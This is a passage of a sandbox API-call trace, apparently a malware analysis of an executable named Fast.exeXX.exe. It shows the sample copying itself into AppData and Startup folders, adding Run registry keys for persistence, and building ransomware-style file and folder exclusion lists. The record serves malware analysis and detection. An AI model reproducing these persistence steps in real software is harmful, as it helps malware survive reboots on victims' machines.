hHeap=0x470000, dwFlags=0x0, lpMem=0x48e648 | out: hHeap=0x470000) returned 1 [0073.474] GetProcessHeap () returned 0x470000 [0073.474] RtlReAllocateHeap (Heap=0x470000, Flags=0x0, Ptr=0x48e360, Size=0xf2) returned 0x48e360 [0073.475] GetProcessHeap () returned 0x470000 [0073.475] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0xf2) returned 0x48e648 [0073.475] GetProcessHeap () returned 0x470000 [0073.475] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x90) returned 0x48b028 [0073.475] GetProcessHeap () returned 0x470000 [0073.475] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x10) returned 0x481768 [0073.475] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x1cfbbc | out: phkResult=0x1cfbbc*=0xa8) returned 0x0 [0073.475] RegQueryValueExW (in: hKey=0xa8, lpValueName="Startup", lpReserved=0x0, lpType=0x1cfbb8, lpData=0x48e648, lpcbData=0x1cfbc0*=0xf2 | out: lpType=0x1cfbb8*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x1cfbc0*=0x98) returned 0x0 [0073.475] RegCloseKey (hKey=0xa8) returned 0x0 [0073.475] GetProcessHeap () returned 0x470000 [0073.475] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x481768 | out: hHeap=0x470000) returned 1 [0073.475] GetProcessHeap () returned 0x470000 [0073.475] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x1e) returned 0x489d20 [0073.475] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x1cfbbc | out: phkResult=0x1cfbbc*=0xa8) returned 0x0 [0073.476] RegQueryValueExW (in: hKey=0xa8, lpValueName="Common Startup", lpReserved=0x0, lpType=0x1cfbb8, lpData=0x48e6e0, lpcbData=0x1cfbc0*=0x5a | out: lpType=0x1cfbb8*=0x0, lpData=0x48e6e0*=0x0, lpcbData=0x1cfbc0*=0x5a) returned 0x2 [0073.476] RegCloseKey (hKey=0xa8) returned 0x0 [0073.476] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x1cfbd0 | out: phkResult=0x1cfbd0*=0xa8) returned 0x0 [0073.476] RegQueryValueExW (in: hKey=0xa8, lpValueName="Common Startup", lpReserved=0x0, lpType=0x1cfbcc, lpData=0x48e6e0, lpcbData=0x1cfbd4*=0x5a | out: lpType=0x1cfbcc*=0x2, lpData=0x48e6e0*=0x0, lpcbData=0x1cfbd4*=0x78) returned 0xea [0073.476] RegCloseKey (hKey=0xa8) returned 0x0 [0073.476] GetProcessHeap () returned 0x470000 [0073.476] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x489d20 | out: hHeap=0x470000) returned 1 [0073.476] GetProcessHeap () returned 0x470000 [0073.476] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48b028 | out: hHeap=0x470000) returned 1 [0073.476] GetProcessHeap () returned 0x470000 [0073.476] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48e648 | out: hHeap=0x470000) returned 1 [0073.476] GetProcessHeap () returned 0x470000 [0073.476] RtlReAllocateHeap (Heap=0x470000, Flags=0x0, Ptr=0x48e360, Size=0x1e2) returned 0x48a058 [0073.477] GetProcessHeap () returned 0x470000 [0073.477] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x1e2) returned 0x48a248 [0073.477] GetProcessHeap () returned 0x470000 [0073.477] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x90) returned 0x48e360 [0073.477] GetProcessHeap () returned 0x470000 [0073.477] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x10) returned 0x481768 [0073.477] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x1cfbbc | out: phkResult=0x1cfbbc*=0xa8) returned 0x0 [0073.477] RegQueryValueExW (in: hKey=0xa8, lpValueName="Startup", lpReserved=0x0, lpType=0x1cfbb8, lpData=0x48a248, lpcbData=0x1cfbc0*=0x1e2 | out: lpType=0x1cfbb8*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x1cfbc0*=0x98) returned 0x0 [0073.477] RegCloseKey (hKey=0xa8) returned 0x0 [0073.477] GetProcessHeap () returned 0x470000 [0073.477] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x481768 | out: hHeap=0x470000) returned 1 [0073.477] GetProcessHeap () returned 0x470000 [0073.477] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x1e) returned 0x489d20 [0073.477] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x1cfbbc | out: phkResult=0x1cfbbc*=0xa8) returned 0x0 [0073.478] RegQueryValueExW (in: hKey=0xa8, lpValueName="Common Startup", lpReserved=0x0, lpType=0x1cfbb8, lpData=0x48a2e0, lpcbData=0x1cfbc0*=0x14a | out: lpType=0x1cfbb8*=0x0, lpData=0x48a2e0*=0x7a, lpcbData=0x1cfbc0*=0x14a) returned 0x2 [0073.478] RegCloseKey (hKey=0xa8) returned 0x0 [0073.478] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x1cfbd0 | out: phkResult=0x1cfbd0*=0xa8) returned 0x0 [0073.478] RegQueryValueExW (in: hKey=0xa8, lpValueName="Common Startup", lpReserved=0x0, lpType=0x1cfbcc, lpData=0x48a2e0, lpcbData=0x1cfbd4*=0x14a | out: lpType=0x1cfbcc*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x1cfbd4*=0x78) returned 0x0 [0073.478] RegCloseKey (hKey=0xa8) returned 0x0 [0073.478] GetProcessHeap () returned 0x470000 [0073.478] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x489d20 | out: hHeap=0x470000) returned 1 [0073.478] GetProcessHeap () returned 0x470000 [0073.478] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48e360 | out: hHeap=0x470000) returned 1 [0073.478] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup;%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpDst=0x48a058, nSize=0xf1 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup;C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 0x99 [0073.478] GetProcessHeap () returned 0x470000 [0073.478] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48a248 | out: hHeap=0x470000) returned 1 [0073.478] GetProcessHeap () returned 0x470000 [0073.479] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x483fb8 | out: hHeap=0x470000) returned 1 [0073.479] GetProcessHeap () returned 0x470000 [0073.479] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x20a) returned 0x48a248 [0073.479] GetProcessHeap () returned 0x470000 [0073.479] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x20a) returned 0x48f0e0 [0073.479] GetProcessHeap () returned 0x470000 [0073.479] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x20a) returned 0x48f2f8 [0073.479] GetProcessHeap () returned 0x470000 [0073.479] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x20a) returned 0x48f510 [0073.479] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x48a248, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Fast.exeXX.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fast.exexx.exe")) returned 0x34 [0073.479] GetProcessHeap () returned 0x470000 [0073.479] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x20a) returned 0x48f728 [0073.479] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x48f728, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Fast.exeXX.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fast.exexx.exe")) returned 0x34 [0073.479] GetProcessHeap () returned 0x470000 [0073.479] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48f728 | out: hHeap=0x470000) returned 1 [0073.479] GetProcessHeap () returned 0x470000 [0073.480] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x20a) returned 0x48f728 [0073.480] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x48f728, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Fast.exeXX.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fast.exexx.exe")) returned 0x34 [0073.480] GetProcessHeap () returned 0x470000 [0073.480] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48f728 | out: hHeap=0x470000) returned 1 [0073.480] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Fast.exeXX.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fast.exexx.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Fast.exeXX.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\fast.exexx.exe"), bFailIfExists=0) returned 1 [0073.491] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x1cfcb8 | out: phkResult=0x1cfcb8*=0xfc) returned 0x0 [0073.491] RegSetValueExW (in: hKey=0xfc, lpValueName="Fast.exeXX", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Fast.exeXX.exe", cbData=0x74 | out: lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Fast.exeXX.exe") returned 0x0 [0073.492] RegCloseKey (hKey=0xfc) returned 0x0 [0073.492] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x1cfcb4 | out: phkResult=0x1cfcb4*=0xfc) returned 0x0 [0073.492] RegSetValueExW (in: hKey=0xfc, lpValueName="Fast.exeXX", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Fast.exeXX.exe", cbData=0x74 | out: lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Fast.exeXX.exe") returned 0x0 [0073.493] RegCloseKey (hKey=0xfc) returned 0x0 [0073.493] GetProcessHeap () returned 0x470000 [0073.493] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x134) returned 0x48b028 [0073.493] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Fast.exeXX.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fast.exexx.exe"), lpNewFileName="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\Fast.exeXX.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\fast.exexx.exe"), bFailIfExists=1) returned 0 [0073.493] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Fast.exeXX.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fast.exexx.exe"), lpNewFileName="c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\Fast.exeXX.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\fast.exexx.exe"), bFailIfExists=1) returned 1 [0073.513] GetProcessHeap () returned 0x470000 [0073.513] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48b028 | out: hHeap=0x470000) returned 1 [0073.513] GetProcessHeap () returned 0x470000 [0073.513] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48a248 | out: hHeap=0x470000) returned 1 [0073.513] GetProcessHeap () returned 0x470000 [0073.513] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48f0e0 | out: hHeap=0x470000) returned 1 [0073.513] GetProcessHeap () returned 0x470000 [0073.513] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48f2f8 | out: hHeap=0x470000) returned 1 [0073.513] GetProcessHeap () returned 0x470000 [0073.513] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48f510 | out: hHeap=0x470000) returned 1 [0073.513] GetProcessHeap () returned 0x470000 [0073.513] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48ae38 | out: hHeap=0x470000) returned 1 [0073.513] GetProcessHeap () returned 0x470000 [0073.513] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x47f858 | out: hHeap=0x470000) returned 1 [0073.513] GetProcessHeap () returned 0x470000 [0073.513] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48a058 | out: hHeap=0x470000) returned 1 [0073.513] GetProcessHeap () returned 0x470000 [0073.513] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x20) returned 0x489d20 [0073.513] GetProcessHeap () returned 0x470000 [0073.513] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x1e) returned 0x489b90 [0073.513] GetProcessHeap () returned 0x470000 [0073.513] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x1e) returned 0x489c08 [0073.513] GetProcessHeap () returned 0x470000 [0073.514] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x90) returned 0x48ae38 [0073.514] GetProcessHeap () returned 0x470000 [0073.514] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48ae38 | out: hHeap=0x470000) returned 1 [0073.514] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x489b90, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0073.514] GetProcessHeap () returned 0x470000 [0073.514] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x489c08 | out: hHeap=0x470000) returned 1 [0073.514] GetProcessHeap () returned 0x470000 [0073.514] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x489d20 | out: hHeap=0x470000) returned 1 [0073.514] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x1cfcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x1cfcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0073.514] GetProcessHeap () returned 0x470000 [0073.514] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x489b90 | out: hHeap=0x470000) returned 1 [0073.514] GetProcessHeap () returned 0x470000 [0073.514] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x28) returned 0x48adf8 [0073.514] GetProcessHeap () returned 0x470000 [0073.514] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10) returned 0x481768 [0073.514] GetProcessHeap () returned 0x470000 [0073.514] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x190) returned 0x48a058 [0073.514] GetProcessHeap () returned 0x470000 [0073.514] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x70) returned 0x48ae38 [0073.514] GetProcessHeap () returned 0x470000 [0073.515] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x64) returned 0x48e360 [0073.515] GetProcessHeap () returned 0x470000 [0073.515] RtlReAllocateHeap (Heap=0x470000, Flags=0x0, Ptr=0x48e360, Size=0xc6) returned 0x48e360 [0073.515] GetProcessHeap () returned 0x470000 [0073.515] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x184) returned 0x48a1f0 [0073.515] GetProcessHeap () returned 0x470000 [0073.515] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10) returned 0x481648 [0073.515] GetProcessHeap () returned 0x470000 [0073.515] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x20a) returned 0x48f0e0 [0073.515] GetProcessHeap () returned 0x470000 [0073.515] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x250) returned 0x48f2f8 [0073.515] GetProcessHeap () returned 0x470000 [0073.515] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0xa0) returned 0x48a380 [0073.515] GetProcessHeap () returned 0x470000 [0073.515] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x96) returned 0x48e648 [0073.515] GetProcessHeap () returned 0x470000 [0073.515] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x96) returned 0x48b028 [0073.515] GetProcessHeap () returned 0x470000 [0073.515] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x90) returned 0x48e6e8 [0073.515] GetProcessHeap () returned 0x470000 [0073.515] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48e6e8 | out: hHeap=0x470000) returned 1 [0073.515] ExpandEnvironmentStringsW (in: lpSrc="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;lksf.txt", lpDst=0x48e648, nSize=0x4b | out: lpDst="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;lksf.txt") returned 0x4b [0073.515] GetProcessHeap () returned 0x470000 [0073.515] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48b028 | out: hHeap=0x470000) returned 1 [0073.515] GetProcessHeap () returned 0x470000 [0073.515] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48a380 | out: hHeap=0x470000) returned 1 [0073.515] GetProcessHeap () returned 0x470000 [0073.516] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x70) returned 0x48e6e8 [0073.516] GetProcessHeap () returned 0x470000 [0073.516] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x62) returned 0x48a380 [0073.516] GetProcessHeap () returned 0x470000 [0073.516] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x62) returned 0x48a3f0 [0073.516] GetProcessHeap () returned 0x470000 [0073.516] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x90) returned 0x48b028 [0073.516] GetProcessHeap () returned 0x470000 [0073.516] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48b028 | out: hHeap=0x470000) returned 1 [0073.516] ExpandEnvironmentStringsW (in: lpSrc="%windir%;%programdata%\\microsoft\\windows\\caches;", lpDst=0x48a380, nSize=0x31 | out: lpDst="C:\\Windows;C:\\ProgramData\\microsoft\\windows\\cach") returned 0x34 [0073.516] GetProcessHeap () returned 0x470000 [0073.516] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48a3f0 | out: hHeap=0x470000) returned 1 [0073.516] GetProcessHeap () returned 0x470000 [0073.516] RtlReAllocateHeap (Heap=0x470000, Flags=0x0, Ptr=0x48a380, Size=0xc2) returned 0x48a380 [0073.516] GetProcessHeap () returned 0x470000 [0073.516] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0xc2) returned 0x48b028 [0073.516] GetProcessHeap () returned 0x470000 [0073.516] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x90) returned 0x48f550 [0073.516] GetProcessHeap () returned 0x470000 [0073.516] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48f550 | out: hHeap=0x470000) returned 1 [0073.516] ExpandEnvironmentStringsW (in: lpSrc="%windir%;%programdata%\\microsoft\\windows\\caches;", lpDst=0x48a380, nSize=0x61 | out: lpDst="C:\\Windows;C:\\ProgramData\\microsoft\\windows\\caches;") returned 0x34 [0073.516] GetProcessHeap () returned 0x470000 [0073.516] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48b028 | out: hHeap=0x470000) returned 1 [0073.516] GetProcessHeap () returned 0x470000 [0073.517] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48e6e8 | out: hHeap=0x470000) returned 1 [0073.517] GetProcessHeap () returned 0x470000 [0073.517] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x20a) returned 0x48f550 [0073.517] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x48f550, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Fast.exeXX.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fast.exexx.exe")) returned 0x34 [0073.517] GetProcessHeap () returned 0x470000 [0073.517] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48f550 | out: hHeap=0x470000) returned 1 [0073.517] GetProcessHeap () returned 0x470000 [0073.517] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x24e) returned 0x48f550 [0073.517] GetProcessHeap () returned 0x470000 [0073.517] RtlReAllocateHeap (Heap=0x470000, Flags=0x0, Ptr=0x48f550, Size=0x3cc) returned 0x48f550 [0073.517] GetProcessHeap () returned 0x470000 [0073.517] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x98) returned 0x48b028 [0073.517] GetProcessHeap () returned 0x470000 [0073.517] RtlReAllocateHeap (Heap=0x470000, Flags=0x0, Ptr=0x48b028, Size=0xb6) returned 0x48b028 [0073.517] GetProcessHeap () returned 0x470000 [0073.517] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x6a) returned 0x48b0e8 [0073.517] GetProcessHeap () returned 0x470000 [0073.517] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48f0e0 | out: hHeap=0x470000) returned 1 [0073.517] GetProcessHeap () returned 0x470000 [0073.517] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48f2f8 | out: hHeap=0x470000) returned 1 [0073.517] GetProcessHeap () returned 0x470000 [0073.517] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48e648 | out: hHeap=0x470000) returned 1 [0073.517] GetProcessHeap () returned 0x470000 [0073.517] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48a380 | out: hHeap=0x470000) returned 1 [0073.517] GetProcessHeap () returned 0x470000 [0073.517] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x481768 | out: hHeap=0x470000) returned 1 [0073.517] GetProcessHeap () returned 0x470000 [0073.517] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48a058 | out: hHeap=0x470000) returned 1 [0073.518] GetProcessHeap () returned 0x470000 [0073.518] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48ae38 | out: hHeap=0x470000) returned 1 [0073.518] GetProcessHeap () returned 0x470000 [0073.518] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48a1f0 | out: hHeap=0x470000) returned 1 [0073.518] GetProcessHeap () returned 0x470000 [0073.518] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x20) returned 0x489b90 [0073.518] GetProcessHeap () returned 0x470000 [0073.518] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x1e) returned 0x489d20 [0073.518] GetProcessHeap () returned 0x470000 [0073.518] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x1e) returned 0x489c08 [0073.518] GetProcessHeap () returned 0x470000 [0073.518] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x90) returned 0x48ae38 [0073.518] GetProcessHeap () returned 0x470000 [0073.518] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48ae38 | out: hHeap=0x470000) returned 1 [0073.518] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x489d20, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0073.518] GetProcessHeap () returned 0x470000 [0073.518] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x489c08 | out: hHeap=0x470000) returned 1 [0073.518] GetProcessHeap () returned 0x470000 [0073.518] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x489b90 | out: hHeap=0x470000) returned 1 [0073.518] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x1cfcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x1cfcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0073.518] GetProcessHeap () returned 0x470000 [0073.518] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x489d20 | out: hHeap=0x470000) returned 1 [0073.518] GetProcessHeap () returned 0x470000 [0073.519] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x28) returned 0x48e430 [0073.519] GetProcessHeap () returned 0x470000 [0073.519] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10) returned 0x481768 [0073.519] GetProcessHeap () returned 0x470000 [0073.519] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x190) returned 0x48a058 [0073.519] GetProcessHeap () returned 0x470000 [0073.519] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x70) returned 0x48ae38 [0073.519] GetProcessHeap () returned 0x470000 [0073.519] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x64) returned 0x48e648 [0073.519] GetProcessHeap () returned 0x470000 [0073.519] RtlReAllocateHeap (Heap=0x470000, Flags=0x0, Ptr=0x48e648, Size=0xc6) returned 0x48e648 [0073.519] GetProcessHeap () returned 0x470000 [0073.519] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x184) returned 0x48a1f0 [0073.519] GetProcessHeap () returned 0x470000 [0073.519] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10) returned 0x481660 [0073.519] GetProcessHeap () returned 0x470000 [0073.519] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x20a) returned 0x48f0e0 [0073.519] GetProcessHeap () returned 0x470000 [0073.519] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x250) returned 0x48f2f8 [0073.519] GetProcessHeap () returned 0x470000 [0073.519] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0xa0) returned 0x48a380 [0073.519] GetProcessHeap () returned 0x470000 [0073.519] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x96) returned 0x48f928 [0073.519] GetProcessHeap () returned 0x470000 [0073.519] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x96) returned 0x48f9c8 [0073.519] GetProcessHeap () returned 0x470000 [0073.519] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x90) returned 0x48fa68 [0073.520] GetProcessHeap () returned 0x470000 [0073.520] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48fa68 | out: hHeap=0x470000) returned 1 [0073.520] ExpandEnvironmentStringsW (in: lpSrc="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;lksf.txt", lpDst=0x48f928, nSize=0x4b | out: lpDst="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;lksf.txt") returned 0x4b [0073.520] GetProcessHeap () returned 0x470000 [0073.520] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48f9c8 | out: hHeap=0x470000) returned 1 [0073.520] GetProcessHeap () returned 0x470000 [0073.520] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48a380 | out: hHeap=0x470000) returned 1 [0073.520] GetProcessHeap () returned 0x470000 [0073.520] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x70) returned 0x48a380 [0073.520] GetProcessHeap () returned 0x470000 [0073.520] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x62) returned 